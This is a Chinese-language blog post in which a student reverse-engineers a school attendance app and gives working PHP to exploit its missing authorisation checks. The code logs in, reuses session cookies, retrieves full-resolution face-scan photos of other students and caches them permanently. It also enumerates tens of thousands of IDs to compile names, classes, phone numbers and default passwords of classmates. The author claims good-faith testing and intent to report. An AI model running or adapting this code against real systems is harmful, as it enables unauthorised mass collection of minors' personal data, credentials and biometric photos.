为了方便并且不泄露信息,以下将考勤系统简称为“小蜜蜂”,域名也全部使用bee.com
免责声明:本文所提到的一切行为都出于善意测试,将在测试完成后把漏洞提交给官方,请勿用于非法用途!
0、起源
一个月前,学校给每个班发了批量生成的考勤系统家长账号,但是我们班各个家长并未使用这些账号。某天,一位同学来跟我说,她使用她家长账号登录,发现绑定的是我,还能查看我刷脸的照片。
1、尝试抓包
我用自己的账号登录了小蜜蜂的App。通过使用HttpCanary对该App进行抓包,我获取了登录、获取照片等部分的API接口和请求数据格式。
2、请求接口
2.1、登录
1 | https://bee.com/sctserver/mob/login?loginname=f11111111111&password=31df73b65ffc25317e1eb8966fe541cc; |
可以看到,登录部分的数据结构是这样的:
1 | { "loginname":"f11111111111", "password":"31df..." } |
对明文密码尝试进行MD5加密,发现结果正是数据中的结果。因此可以确定,密码使用MD5进行加密。
这是我最后使用的登录代码:
1 | $url="https://bee.com/sctserver/mob/login?loginname=f".$username."&password=".md5($password); file_get_contents($url); |
2.2、获取Cookies
我发现php的file_get_contents函数不是自动保存cookies并使用的,因此需要手动拼接Cookies。
通过面向搜索引擎编程,我使用了以下代码获得Cookies并存进数组:
1 | $cookies = array(); foreach ($http_response_header as $hdr) { if (preg_match('/^Set-Cookie:\s*([^;]+)/', $hdr, $matches)) { parse_str($matches[1], $tmp); $cookies += $tmp; } } |
这里用到了正则表达式,确实是我没想到的,笑。
获取到的Cookies结构如下:
1 | { "acw_tc":"784e...", "JSESSIONID":"E2692..." } |
2.3、提交Cookies
在使用Cookies时,我使用了以下代码。
1 | $opts=array( 'http'=>array( 'header'=>"Cookie: acw_tc=".$cookies['acw_tc']."\r\n" . "Cookie: JSESSIONID=".$cookies['JSESSIONID']."\r\n", 'ignore_errors'=>true ) ); $data=file_get_contents("https://bee.com/sctserver/mob/attend/child/in-out?studentId=".$uid,false,stream_context_create($opts)); |
2.4、获取照片
登录后可在某字段获得StudentId
,这个数据很重要,获取其他数据时需要用到。
登录接口地址:
1 | https://bee.com/sctserver/mob/attend/child/in-out?studentId=1111111 |
据观察,返回数据中名为imgUrl的参数就是照片Url。但是,使用此方法获取的非常模糊,和App中看到的完全不是一个级别的清晰度。
例如:
1 | https://server.bee.com/wmdp/comup/attenddir/20xx0x/0x/bre/FACE_DETECT_...-..._20xx0x0x0xxxxx.jpg |
很明显是使用域名/固定目录+日期/bre/学生特征码+日期+精确时间
的格式存储照片。
我尝试去掉Url中的/bre/,得到了高清版本的照片。
2.5、缓存
担心小蜜蜂只储存一个月的照片,我做了本地化的缓存。
读取数据:
1 | #获取缓存Url列表 $url_list=json_decode(file_get_contents("./data/url.json"),true); #获取无效学生ID列表 $null_list=json_decode(file_get_contents("./data/null.json")); |
检查是否缓存:
1 | #获取缓存 #检查是否有缓存目录 if(!file_exists("./cache/image/".$year."/.cache")) { for($i=1;$i<=12;$i++) { for($j=1;$j<=date('t',mktime(0,0,0,$i,1,date("Y")));$j++) { #给月和日补前导零 $f_month=str_pad($i,2,"0",STR_PAD_LEFT); $f_day=str_pad($j,2,"0",STR_PAD_LEFT); #创建文件夹 mkdir("./cache/image/".$year."/".$f_month."/".$f_day,0777,true); } } #标记为已创建 file_put_contents("./cache/image/".$year."/.cache","yes"); } #检查是否缓存过图片 if(file_exists($cache_path)&&$url_list[$date][$uid]!="") { if($local) $img_url=str_replace("./cache/image/","https://cdn.me.com/img/bee.com/",$cache_path); else $img_url=$url_list[$date][$uid]; if($display) redirect($img_url); else retCode(200,'获取成功',$img_url); } |
封装的返回函数:
1 | #封装函数 #返回JSON function retCode($code,$msg,$retdata) { if($code==404) header('HTTP/1.1 404 NOT FOUND'); elseif($code==500) header('HTTP/1.1 404 SERVER ERROR'); elseif($code==403) header('HTTP/1.1 403 FORBIDDEN'); die(json_encode(array('code'=>$code,'msg'=>$msg,'data'=>$retdata),JSON_UNESCAPED_UNICODE|JSON_UNESCAPED_SLASHES)); } #重定向 function redirect($url) { header("Location:".$url); } |
这样便可以永久性储存照片。
2.6、获取账号信息
据检测,大部分接口均未做鉴权,例如一个账号可以获取任意账号的考勤打卡记录,甚至完整的账号信息。
这里不得不吐槽一下,小蜜蜂的返回数据是真的做的烂死了,学校详细信息(国家、省份、城市、邮编)等数据居然会在返回信息中重复两到三次,导致原本可以很精简的数据一下子变成了200KB,难怪软件这么卡。
获取账号信息的接口:
1 | https://bee.com/sctserver/mob/getinfo?id=1111111 |
返回数据中,有班级、姓名、学生ID甚至完整密码,我猜测是默认密码,部分用户修改密码后返回的是******
。
因此可以用简单的代码批量抓取并处理数据。
1 | #发送获取学生信息请求 $data=json_decode(file_get_contents("https://bee.com/sctserver/mob/getinfo?id=".$id,false,stream_context_create($opts)),true); #结果列表 $data_list=$data['data']['familys'][0]['students'][0]['classno']; #判断用户是否存在 if($data['message']=="用户没有登录") { return "nologin"; } else if(!$data['result']||empty($data_list['className'])||empty($data_list['grade'])) { return "null"; } else { return array( $data['data']['phoneNumber'], $data['data']['familys'][0]['passwordshowStr'], $data_list['className'], $data_list['grade'], $data['data']['name'] ); } |
储存数据:
1 | preg_match("/[0-9]{1,2}/",$info[2],$matches); $class=$matches[2]; if($info[3]=="高一年级") $grade=1; else if($info[3]=="高二年级") $grade=2; if($info[3]=="高三年级") $grade=3; $name=$info[4]; if($currentClass!=$class) { $currentClass=$class; if(is_array($student_list[$grade][(string)$class])) $currentNum=count($student_list[$grade][(string)$class])+1; else $currentNum=1; } else $currentNum++; $student_list[$grade][$class][$currentNum]=array( 'uid'=>(int)$i, 'name'=>(string)$name, 'num'=>(int)$currentNum ); file_put_contents("./data/student.json",json_encode($student_list,JSON_UNESCAPED_UNICODE|JSON_PRETTY_PRINT)); |
由于发现了获取用户信息的接口,我就开始着手建立本校学生信息库。在小蜜蜂的系统中,名字、班级和StudentId不是一一对应的,因此难以直接用“递增”的方法获取。于是我获取了几万次数据,将信息储存在一个JSON文件中。
这耗费了我两个小时的时间,因为每次PHP执行几十秒浏览器就会报504 Time Out,怎么改配置都没有用。
最后,我实现了可以自由调取高一年段的数据,高二、高三甚至已毕业学生的有空也会弄。
鉴于看到网上有一个干过类似事情的初中生被查水表了,我决定在研究一段时间后提醒小蜜蜂官方,并删除我保存的所有数据。如果能在其中找到几个漏洞,获得CNVD证书,那就更是好事。
2022年1月10日记。
用PHP抓取学校考勤系统数据
评论